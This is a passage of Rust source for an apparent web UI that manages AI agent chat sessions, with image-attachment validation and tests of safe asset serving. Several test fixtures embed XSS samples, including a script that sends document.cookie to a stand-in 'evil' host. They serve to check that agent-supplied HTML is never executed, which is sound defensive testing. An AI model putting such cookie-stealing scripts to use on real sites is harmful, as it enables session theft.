4745 move || {
4746 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4747 if let Ok(fresh) = talks.get(&talk.id) {
4748 if !fresh.status.open() {
4749 return Err(ApiError::conflict(format!(
4750 "talk {} is {} and takes no more turns",
4751 fresh.short(),
4752 fresh.status.as_str()
4753 )));
4754 }
4755 }
4756 return Err(ApiError::from(error));
4757 }
4758 Ok((said.trim().to_owned(), talk))
4764 }
4765 })
4766 .await;
4767 let (text, mut talk) = match recorded {
4768 Ok(pair) => pair,
4769 Err(e) => {
4770 let _ = tx.send(Err(e));
4774 return;
4775 }
4776 };
4777 let queued = talk.clone();
4778 let thinking = ui.is_thinking(&id);
4779 let _ = tx.send(Ok((queued, thinking)));
4782
4783 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4784 tracing::warn!("talk {id} turn failed: {e:#}");
4788 }
4789 drain_loop(talk, talks, cfg, id, turn_guard).await;
4792 }
4793 });
4794
4795 let (queued, thinking) = rx
4796 .await
4797 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4798
4799 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4801}
4802
4803async fn talk_pending_resume(
4807 State(ui): State<Arc<Ui>>,
4808 Path(id): Path<String>,
4809) -> ApiResult<(StatusCode, Json<TalkView>)> {
4810 let id = {
4811 let ui = Arc::clone(&ui);
4812 let asked = id.clone();
4813 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4814 };
4815 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4816 return Err(ApiError::conflict(
4817 "a talk turn is already running; the queued draft will be handled by it",
4818 ));
4819 };
4820 let (talk, cfg) = {
4821 let ui = Arc::clone(&ui);
4822 let id = id.clone();
4823 blocking(move || {
4824 let talk = ui.talks.get(&id)?;
4825 if !talk.status.open() {
4826 return Err(ApiError::conflict(format!(
4827 "talk {} is {} and takes no more turns",
4828 talk.short(),
4829 talk.status.as_str()
4830 )));
4831 }
4832 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4833 return Err(ApiError::conflict("there is no queued draft to resume"));
4834 }
4835 let (cfg, _) = Config::discover(&talk.repo, None)?;
4836 Ok((talk, cfg))
4837 })
4838 .await?
4839 };
4840 let view = TalkView::new(talk.clone(), true);
4841 let talks = ui.talks.clone();
4842 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4843 Ok((StatusCode::ACCEPTED, Json(view)))
4844}
4845
4846async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4862 let live_set = Arc::clone(&turn.turns);
4863 let mut turn = Some(turn);
4871 loop {
4872 let observed = live_set
4876 .lock()
4877 .unwrap_or_else(PoisonError::into_inner)
4878 .queued
4879 .get(&id)
4880 .copied()
4881 .unwrap_or(0);
4882 let drained = blocking({
4883 let talks = talks.clone();
4884 move || {
4885 let result = talk::drain(&mut talk, &talks);
4886 Ok((talk, result))
4887 }
4888 })
4889 .await;
4890 let (next_talk, result) = match drained {
4891 Ok(drained) => drained,
4892 Err(e) => {
4893 tracing::warn!(
4894 status = %e.status,
4895 message = %e.message,
4896 "talk {id} could not start queued-text drain"
4897 );
4898 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4899 turn.take()
4900 .expect("held for the whole loop until released here")
4901 .release(&mut live);
4902 break;
4903 }
4904 };
4905 talk = next_talk;
4906 let drained = match result {
4907 Ok(Some(drained)) => drained,
4908 Ok(None) => {
4909 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4910 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4911 continue;
4912 }
4913 turn.take()
4914 .expect("held for the whole loop until released here")
4915 .release(&mut live);
4916 break;
4917 }
4918 Err(e) => {
4919 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4920 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4921 turn.take()
4922 .expect("held for the whole loop until released here")
4923 .release(&mut live);
4924 break;
4925 }
4926 };
4927 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4928 tracing::warn!("talk {id} turn failed: {e:#}");
4929 }
4930 }
4931}
4932
4933async fn talk_pending_clear(
4935 State(ui): State<Arc<Ui>>,
4936 Path(id): Path<String>,
4937 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4938) -> ApiResult<Json<TalkView>> {
4939 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4940 blocking(move || {
4941 let id = resolve_talk(&ui.talks, &id)?;
4942 let mut talk = ui.talks.get(&id)?;
4943 if !talk.status.open() {
4944 return Err(ApiError::conflict(format!(
4945 "talk {} is {} and takes no more turns",
4946 talk.short(),
4947 talk.status.as_str()
4948 )));
4949 }
4950 if !talk::clear_pending_if_matches(
4951 &mut talk,
4952 &ui.talks,
4953 &body.expected_text,
4954 &body.expected_attachments,
4955 )? {
4956 return Err(ApiError::conflict(
4957 "queued message changed; reload it before clearing",
4958 ));
4959 }
4960 let thinking = ui.is_thinking(&talk.id);
4961 Ok(Json(TalkView::new(talk, thinking)))
4962 })
4963 .await
4964}
4965
4966async fn talk_pending_edit(
4970 State(ui): State<Arc<Ui>>,
4971 Path(id): Path<String>,
4972 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4973) -> ApiResult<Json<TalkView>> {
4974 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4975 let (view, reclaimed) = blocking({
4976 let ui = Arc::clone(&ui);
4977 move || {
4978 let id = resolve_talk(&ui.talks, &id)?;
4979 let mut talk = ui.talks.get(&id)?;
4980 if !talk.status.open() {
4981 return Err(ApiError::conflict(format!(
4982 "talk {} is {} and takes no more turns",
4983 talk.short(),
4984 talk.status.as_str()
4985 )));
4986 }
4987 if !talk::edit_pending_text(
4988 &mut talk,
4989 &ui.talks,
4990 &body.text,
4991 &body.expected_text,
4992 &body.expected_attachments,
4993 )? {
4994 return Err(ApiError::conflict(
4995 "queued message changed; reload it before editing",
4996 ));
4997 }
4998 let claim = match ui.begin_queued_talk_turn(&id)? {
4999 Some(turn_guard) => {
5000 let (cfg, _) = Config::discover(&talk.repo, None)?;
5001 Some((talk.clone(), cfg, id.clone(), turn_guard))
5002 }
5003 None => None,
5004 };
5005 let thinking = ui.is_thinking(&id);
5006 Ok((TalkView::new(talk, thinking), claim))
5007 }
5008 })
5009 .await?;
5010 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5011 let talks = ui.talks.clone();
5012 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5013 }
5014 Ok(Json(view))
5015}
5016
5017async fn talk_close(
5019 State(ui): State<Arc<Ui>>,
5020 Path(id): Path<String>,
5021) -> ApiResult<Json<TalkView>> {
5022 blocking(move || {
5023 let id = resolve_talk(&ui.talks, &id)?;
5024 let mut talk = ui.talks.get(&id)?;
5025 talk::close(&mut talk, &ui.talks)?;
5026 let thinking = ui.is_thinking(&talk.id);
5027 Ok(Json(TalkView::new(talk, thinking)))
5028 })
5029 .await
5030}
5031
5032async fn talk_reopen(
5034 State(ui): State<Arc<Ui>>,
5035 Path(id): Path<String>,
5036) -> ApiResult<Json<TalkView>> {
5037 blocking(move || {
5038 let id = resolve_talk(&ui.talks, &id)?;
5039 let mut talk = ui.talks.get(&id)?;
5040 talk::reopen(&mut talk, &ui.talks)?;
5041 let thinking = ui.is_thinking(&talk.id);
5042 Ok(Json(TalkView::new(talk, thinking)))
5043 })
5044 .await
5045}
5046
5047async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5057 blocking(move || {
5058 let id = resolve_talk(&ui.talks, &id)?;
5059 ui.talks.remove(&id)?;
5060 Ok(StatusCode::NO_CONTENT)
5061 })
5062 .await
5063}
5064
5065fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
5067 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
5068}
5069
5070async fn talk_attachment_post(
5073 State(ui): State<Arc<Ui>>,
5074 Path(id): Path<String>,
5075 headers: HeaderMap,
5076 body: Bytes,
5077) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
5078 let mime = validate_attachment(&headers, &body)?;
5079 let name = filename_header(&headers);
5080 let data = body.to_vec();
5081 blocking(move || {
5082 let id = resolve_talk(&ui.talks, &id)?;
5083 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
5084 Ok((StatusCode::CREATED, Json(att)))
5085 })
5086 .await
5087}
5088
5089async fn talk_attachment_get(
5092 State(ui): State<Arc<Ui>>,
5093 Path((id, att)): Path<(String, String)>,
5094) -> ApiResult<Response> {
5095 blocking(move || {
5096 let id = resolve_talk(&ui.talks, &id)?;
5097 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
5098 return Err(ApiError::not_found(format!(
5099 "talk {id} has no attachment `{att}`"
5100 )));
5101 };
5102 Ok(attachment_response(&meta.mime, data))
5103 })
5104 .await
5105}
5106
5107fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
5118 if data.len() > ATTACHMENT_MAX_BYTES {
5119 return Err(ApiError::bad_request(format!(
5120 "attachment is {} bytes, over the {} MiB limit",
5121 data.len(),
5122 ATTACHMENT_MAX_BYTES / (1024 * 1024)
5123 ))
5124 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
5125 }
5126 if data.is_empty() {
5127 return Err(ApiError::bad_request("attachment is empty"));
5128 }
5129 let declared = declared_mime(headers)?;
5130 match sniffed_mime(data) {
5131 Some(sniffed) if sniffed == declared => Ok(declared),
5132 Some(sniffed) => Err(ApiError::bad_request(format!(
5133 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
5134 ))),
5135 None => Err(ApiError::bad_request(
5136 "the file's bytes do not match any accepted image format",
5137 )),
5138 }
5139}
5140
5141fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
5145 let raw = headers
5146 .get(header::CONTENT_TYPE)
5147 .and_then(|v| v.to_str().ok())
5148 .unwrap_or("")
5149 .split(';')
5150 .next()
5151 .unwrap_or("")
5152 .trim()
5153 .to_ascii_lowercase();
5154 ATTACHMENT_MIME_WHITELIST
5155 .iter()
5156 .find(|&&m| m == raw)
5157 .copied()
5158 .ok_or_else(|| {
5159 if raw == "image/svg+xml" {
5160 ApiError::bad_request(
5161 "SVG is not accepted: it can carry active content (e.g. a <script>), \
5162 not just a picture",
5163 )
5164 } else if raw.is_empty() {
5165 ApiError::bad_request("Content-Type is required for an attachment upload")
5166 } else {
5167 ApiError::bad_request(format!(
5168 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
5169 image/gif or image/webp"
5170 ))
5171 }
5172 })
5173}
5174
5175fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
5178 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
5179 Some("image/png")
5180 } else if data.starts_with(b"\xff\xd8\xff") {
5181 Some("image/jpeg")
5182 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
5183 Some("image/gif")
5184 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
5185 Some("image/webp")
5186 } else {
5187 None
5188 }
5189}
5190
5191fn filename_header(headers: &HeaderMap) -> String {
5197 headers
5198 .get(FILENAME_HEADER)
5199 .and_then(|v| v.to_str().ok())
5200 .map(str::trim)
5201 .filter(|s| !s.is_empty())
5202 .unwrap_or("attachment")
5203 .to_owned()
5204}
5205
5206fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
5213 let content_type = ATTACHMENT_MIME_WHITELIST
5214 .iter()
5215 .find(|&&m| m == mime)
5216 .copied()
5217 .unwrap_or("application/octet-stream");
5218 (
5219 [
5220 (header::CONTENT_TYPE, content_type),
5221 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5222 ],
5223 body,
5224 )
5225 .into_response()
5226}
5227
5228async fn config_for(repo: &FsPath) -> ApiResult<Config> {
5236 let repo = repo.to_path_buf();
5237 blocking(move || {
5238 let (cfg, _) = Config::discover(&repo, None)?;
5239 Ok(cfg)
5240 })
5241 .await
5242}
5243
5244fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
5250 let mut hits = ids
5251 .into_iter()
5252 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
5253 match (hits.next(), hits.next()) {
5254 (Some(one), None) => Ok(one),
5255 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
5256 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
5257 "`{prefix}` matches more than one {what}, including {a} and {b}"
5258 ))),
5259 }
5260}
5261
5262#[cfg(test)]
5263mod tests {
5264
5265 #[test]
5266 fn holder_reads_the_lease_not_the_record() {
5267 let mut q = Question::new(
5268 "run".to_owned(),
5269 "implement".to_owned(),
5270 "impl-A".to_owned(),
5271 "which?".to_owned(),
5272 String::new(),
5273 Vec::new(),
5274 );
5275 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5276 q.cwd = Some("/tmp".to_owned());
5277 assert_eq!(holder_of(&q, None), Some("nobody"));
5278 let beat = |kind, ago: i64| ask::Lease {
5279 kind,
5280 pid: 1,
5281 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5282 .unwrap(),
5283 };
5284 let fresh = beat(ask::WaiterKind::Asker, 1);
5285 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5286 let daemon = beat(ask::WaiterKind::Daemon, 1);
5287 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5288 let stale = beat(ask::WaiterKind::Asker, 3600);
5289 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5290 }
5291 use pretty_assertions::assert_eq;
5292 use serde_json::Value;
5293 use tempfile::TempDir;
5294 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5295
5296 use super::*;
5297 use crate::config::Config;
5298 use crate::queue::{Source, TaskStatus};
5299
5300 const SETTLE_STEPS: usize = 3_000;
5311
5312 struct Fixture {
5318 home: TempDir,
5319 addr: SocketAddr,
5320 }
5321
5322 impl Fixture {
5323 async fn start() -> Self {
5324 Self::with_loop(launch_idle).await
5325 }
5326
5327 async fn with_loop(launch: Launch) -> Self {
5329 let home = TempDir::new().expect("temp home");
5330 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
5331 Self { home, addr }
5332 }
5333
5334 async fn with_repo(repo: PathBuf) -> Self {
5338 let home = TempDir::new().expect("temp home");
5339 let addr = Self::serve(home.path(), repo, launch_idle).await;
5340 Self { home, addr }
5341 }
5342
5343 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
5344 let queue = Queue::at(home.join("queue"));
5345 let runs = home.join("runs");
5346 std::fs::create_dir_all(&runs).expect("runs dir");
5347 let worktrees = home.join("wt").join("magi");
5348 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5349 let ui = Ui::new(
5350 queue,
5351 Questions::at(home.join("questions")),
5352 Talks::at(home.join("talks")),
5353 runs,
5354 home.to_path_buf(),
5355 repo,
5356 )
5357 .with_worktrees_root(worktrees)
5358 .with_launch(launch);
5359 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5360 .await
5361 .expect("bind loopback");
5362 let addr = listener.local_addr().expect("local addr");
5363 tokio::spawn(async move {
5364 let _ = axum::serve(listener, ui.router()).await;
5365 });
5366 addr
5367 }
5368
5369 fn queue(&self) -> Queue {
5370 Queue::at(self.home.path().join("queue"))
5371 }
5372
5373 fn questions(&self) -> Questions {
5374 Questions::at(self.home.path().join("questions"))
5375 }
5376
5377 fn talks(&self) -> Talks {
5378 Talks::at(self.home.path().join("talks"))
5379 }
5380
5381 fn runs(&self) -> PathBuf {
5382 self.home.path().join("runs")
5383 }
5384
5385 async fn get(&self, path: &str) -> Res {
5386 request(self.addr, "GET", path, None).await
5387 }
5388
5389 async fn head(&self, path: &str) -> Res {
5394 request(self.addr, "HEAD", path, None).await
5395 }
5396
5397 async fn post(&self, path: &str, body: Option<&str>) -> Res {
5398 request(self.addr, "POST", path, body).await
5399 }
5400
5401 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5402 request_with(self.addr, "GET", path, None, extra).await
5403 }
5404
5405 async fn delete(&self, path: &str) -> Res {
5406 request(self.addr, "DELETE", path, None).await
5407 }
5408
5409 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5411 request_bytes(self.addr, path, headers, body).await
5412 }
5413 }
5414
5415 struct Res {
5416 status: u16,
5417 headers: String,
5418 head: String,
5423 body: String,
5424 bytes: Vec<u8>,
5428 }
5429
5430 impl Res {
5431 fn json(&self) -> Value {
5432 serde_json::from_str(&self.body)
5433 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5434 }
5435
5436 fn header(&self, name: &str) -> Option<&str> {
5438 self.head.lines().find_map(|line| {
5439 let (key, value) = line.split_once(':')?;
5440 key.trim()
5441 .eq_ignore_ascii_case(name)
5442 .then(|| value.trim_start().trim_end_matches('\r'))
5443 })
5444 }
5445 }
5446
5447 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5450 request_with(addr, method, path, body, &[]).await
5451 }
5452
5453 async fn request_with(
5457 addr: SocketAddr,
5458 method: &str,
5459 path: &str,
5460 body: Option<&str>,
5461 extra: &[(&str, &str)],
5462 ) -> Res {
5463 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5464 for (name, value) in extra {
5465 head.push_str(&format!("{name}: {value}\r\n"));
5466 }
5467 if let Some(body) = body {
5468 head.push_str("Content-Type: application/json\r\n");
5469 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5470 }
5471 head.push_str("\r\n");
5472 if let Some(body) = body {
5473 head.push_str(body);
5474 }
5475 let mut socket = tokio::net::TcpStream::connect(addr)
5476 .await
5477 .expect("connect to the test server");
5478 socket
5479 .write_all(head.as_bytes())
5480 .await
5481 .expect("write request");
5482 let mut raw = Vec::new();
5483 socket.read_to_end(&mut raw).await.expect("read response");
5484 let split = raw
5487 .windows(4)
5488 .position(|w| w == b"\r\n\r\n")
5489 .expect("a header block");
5490 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5491 let bytes = raw[split + 4..].to_vec();
5492 let status = head
5493 .lines()
5494 .next()
5495 .and_then(|line| line.split_whitespace().nth(1))
5496 .and_then(|code| code.parse().ok())
5497 .expect("a status line");
5498 Res {
5499 status,
5500 headers: head.to_lowercase(),
5501 head,
5502 body: String::from_utf8_lossy(&bytes).into_owned(),
5503 bytes,
5504 }
5505 }
5506
5507 async fn request_bytes(
5513 addr: SocketAddr,
5514 path: &str,
5515 headers: &[(&str, &str)],
5516 body: &[u8],
5517 ) -> Res {
5518 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5519 for (name, value) in headers {
5520 head.push_str(&format!("{name}: {value}\r\n"));
5521 }
5522 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5523 let mut socket = tokio::net::TcpStream::connect(addr)
5524 .await
5525 .expect("connect to the test server");
5526 socket
5527 .write_all(head.as_bytes())
5528 .await
5529 .expect("write request head");
5530 socket.write_all(body).await.expect("write request body");
5531 let mut raw = Vec::new();
5532 socket.read_to_end(&mut raw).await.expect("read response");
5533 let split = raw
5534 .windows(4)
5535 .position(|w| w == b"\r\n\r\n")
5536 .expect("a header block");
5537 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5538 let bytes = raw[split + 4..].to_vec();
5539 let status = head
5540 .lines()
5541 .next()
5542 .and_then(|line| line.split_whitespace().nth(1))
5543 .and_then(|code| code.parse().ok())
5544 .expect("a status line");
5545 Res {
5546 status,
5547 headers: head.to_lowercase(),
5548 head,
5549 body: String::from_utf8_lossy(&bytes).into_owned(),
5550 bytes,
5551 }
5552 }
5553
5554 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5556 let mut state = RunState::new(
5557 PathBuf::from("/repo/magi"),
5558 "main".to_owned(),
5559 "0123456789abcdef".to_owned(),
5560 "Add a web UI\n\nMobile first.".to_owned(),
5561 Config::default(),
5562 );
5563 state.id = id.to_owned();
5564 state.status = status;
5565 let dir = runs.join(id);
5566 std::fs::create_dir_all(&dir).expect("run dir");
5567 std::fs::write(
5568 dir.join("run.json"),
5569 serde_json::to_string_pretty(&state).expect("serialize run"),
5570 )
5571 .expect("write run.json");
5572 }
5573
5574 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5578 let mut state = RunState::new(
5579 PathBuf::from(repo),
5580 "main".to_owned(),
5581 "0123456789abcdef".to_owned(),
5582 "task".to_owned(),
5583 Config::default(),
5584 );
5585 state.id = id.to_owned();
5586 state.status = status;
5587 let dir = runs.join(id);
5588 std::fs::create_dir_all(&dir).expect("run dir");
5589 std::fs::write(
5590 dir.join("run.json"),
5591 serde_json::to_string_pretty(&state).expect("serialize run"),
5592 )
5593 .expect("write run.json");
5594 }
5595
5596 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5597 let body = serde_json::json!({
5598 "schema": 1,
5599 "pid": 4242,
5600 "started_at": Timestamp::now().to_string(),
5601 "updated_at": updated_at.to_string(),
5602 "idle": false,
5603 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5604 "completed": 7,
5605 "polls": 143,
5606 });
5607 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5608 }
5609
5610 fn launch_idle(
5620 _opts: daemon::Opts,
5621 stop: daemon::Stop,
5622 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5623 Box::pin(async move {
5624 while !stop.stopped() {
5625 tokio::time::sleep(Duration::from_millis(2)).await;
5626 }
5627 Ok(())
5628 })
5629 }
5630
5631 fn launch_broken(
5634 _opts: daemon::Opts,
5635 _stop: daemon::Stop,
5636 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5637 Box::pin(async {
5638 Err(anyhow::anyhow!(
5639 "publish the daemon status file: read-only file system"
5640 ))
5641 })
5642 }
5643
5644 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5651 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5652
5653 fn launch_knocking_on_the_way_out(
5660 _opts: daemon::Opts,
5661 stop: daemon::Stop,
5662 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5663 Box::pin(async move {
5664 while !stop.stopped() {
5665 tokio::time::sleep(Duration::from_millis(2)).await;
5666 }
5667 let addr = PARK_KNOCK
5668 .lock()
5669 .expect("park knock")
5670 .expect("the test set an address");
5671 let heard = request(addr, "GET", "/api/health", None).await.status;
5672 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5673 Ok(())
5674 })
5675 }
5676
5677 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5686 for _ in 0..SETTLE_STEPS {
5687 let view = fx.get("/api/loop").await.json();
5688 if want(&view) {
5689 return view;
5690 }
5691 tokio::time::sleep(Duration::from_millis(10)).await;
5692 }
5693 panic!(
5694 "the loop never settled: {}",
5695 fx.get("/api/loop").await.json()
5696 );
5697 }
5698
5699 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5701 let store = fx.questions();
5702 let mut q = Question::new(
5703 "20260902-000000-beef".to_owned(),
5704 "implement".to_owned(),
5705 "impl-A".to_owned(),
5706 summary.to_owned(),
5707 "because it matters".to_owned(),
5708 choices.iter().map(|c| (*c).to_owned()).collect(),
5709 );
5710 store.put(&mut q).expect("put question");
5711 q.id
5712 }
5713
5714 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5720 let store = fx.questions();
5721 let mut q = Question::new(
5722 "20260902-000000-beef".to_owned(),
5723 "land".to_owned(),
5724 "fix".to_owned(),
5725 "Merge this?".to_owned(),
5726 "the diff is in the panel".to_owned(),
5727 vec!["merge".to_owned(), "hold".to_owned()],
5728 );
5729 let staging = fx.home.path().join("staging");
5732 std::fs::create_dir_all(&staging).expect("staging dir");
5733 let sources: Vec<PathBuf> = assets
5734 .iter()
5735 .map(|(name, bytes)| {
5736 let path = staging.join(name);
5737 std::fs::write(&path, bytes).expect("write staged asset");
5738 path
5739 })
5740 .collect();
5741 store
5742 .put_panel(&mut q, html, &sources)
5743 .expect("write the panel");
5744 store.put(&mut q).expect("put question");
5745 q.id
5746 }
5747
5748 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5757 let store = fx.talks();
5758 std::fs::create_dir_all(store.root()).expect("talks dir");
5759 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5760 .expect("serialize a seat");
5761 let body = serde_json::json!({
5762 "schema": 1,
5763 "id": id,
5764 "repo": "/repo/magi",
5765 "agent": "mock",
5766 "status": status,
5767 "turns": [],
5768 "created_at": Timestamp::now().to_string(),
5769 "updated_at": Timestamp::now().to_string(),
5770 "seat": seat,
5771 });
5772 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5773 store.get(id).expect("the seeded talk has to be readable");
5774 id.to_owned()
5775 }
5776
5777 #[tokio::test]
5778 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5779 let fx = Fixture::start().await;
5780 let id = panel(
5781 &fx,
5782 "<h1>Merge?</h1><img src=\"diff.svg\">",
5783 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5784 );
5785
5786 for path in [
5787 format!("/api/questions/{id}/panel"),
5788 format!("/api/questions/{id}/asset/diff.svg"),
5789 ] {
5790 let res = fx.get(&path).await;
5791 assert_eq!(res.status, 200, "{path}: {}", res.body);
5792 assert_eq!(
5798 res.header("content-security-policy"),
5799 Some(
5800 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5801 font-src data:; base-uri 'none'; form-action 'none'; \
5802 frame-ancestors 'self'"
5803 ),
5804 "{path} is the only thing between a hostile panel and the tailnet"
5805 );
5806 assert_eq!(
5807 res.header("x-content-type-options"),
5808 Some("nosniff"),
5809 "{path}: a browser must not re-decide the type we sent"
5810 );
5811 assert_eq!(
5812 res.header("referrer-policy"),
5813 Some("no-referrer"),
5814 "{path}: a panel must not leak the question id off the machine"
5815 );
5816
5817 let pre = fx.head(&path).await;
5822 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5823 assert_eq!(
5824 pre.header("content-security-policy"),
5825 res.header("content-security-policy"),
5826 "{path}: the preflight carries the same policy"
5827 );
5828 assert_eq!(
5829 pre.header("content-type"),
5830 res.header("content-type"),
5831 "{path}: the preflight carries the same type"
5832 );
5833 }
5834 }
5835
5836 #[tokio::test]
5837 async fn a_panel_reaches_the_browser_byte_for_byte() {
5838 let fx = Fixture::start().await;
5839 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5844 let id = panel(&fx, html, &[]);
5845
5846 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5847
5848 assert_eq!(res.status, 200);
5849 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5850 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5851 assert_eq!(
5852 res.header("content-disposition"),
5853 None,
5854 "the panel itself is rendered in the frame, not downloaded"
5855 );
5856 }
5857
5858 #[tokio::test]
5859 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5860 let fx = Fixture::start().await;
5861 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5862 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5863 let id = panel(
5864 &fx,
5865 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5866 &[("diff.svg", svg), ("shot.png", png)],
5867 );
5868
5869 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5870 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5871
5872 assert_eq!(as_svg.status, 200);
5873 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5874 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5879
5880 assert_eq!(as_png.status, 200);
5881 assert_eq!(as_png.header("content-type"), Some("image/png"));
5882 assert_eq!(
5883 as_png.header("content-disposition"),
5884 None,
5885 "a raster image has no execution surface, so tapping it still shows it"
5886 );
5887 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5888 }
5889
5890 #[tokio::test]
5891 async fn an_html_asset_is_never_served_as_html() {
5892 let fx = Fixture::start().await;
5893 let id = panel(
5894 &fx,
5895 "<p>see the notes</p>",
5896 &[
5897 (
5898 "notes.html",
5899 b"<script>fetch('http://evil/'+document.cookie)</script>",
5900 ),
5901 ("hook.js", b"fetch('http://evil/')"),
5902 ("data.json", b"{}"),
5903 ("HEADLINE.TXT", b"plain"),
5904 ],
5905 );
5906
5907 for name in ["notes.html", "hook.js", "data.json"] {
5908 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5909 assert_eq!(res.status, 200, "{name}: {}", res.body);
5910 assert_eq!(
5915 res.header("content-type"),
5916 Some("application/octet-stream"),
5917 "{name} must not be a type the browser will execute or render"
5918 );
5919 }
5920 let txt = fx
5923 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5924 .await;
5925 assert_eq!(
5926 txt.header("content-type"),
5927 Some("text/plain; charset=utf-8")
5928 );
5929 }
5930
5931 #[tokio::test]
5932 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5933 let fx = Fixture::start().await;
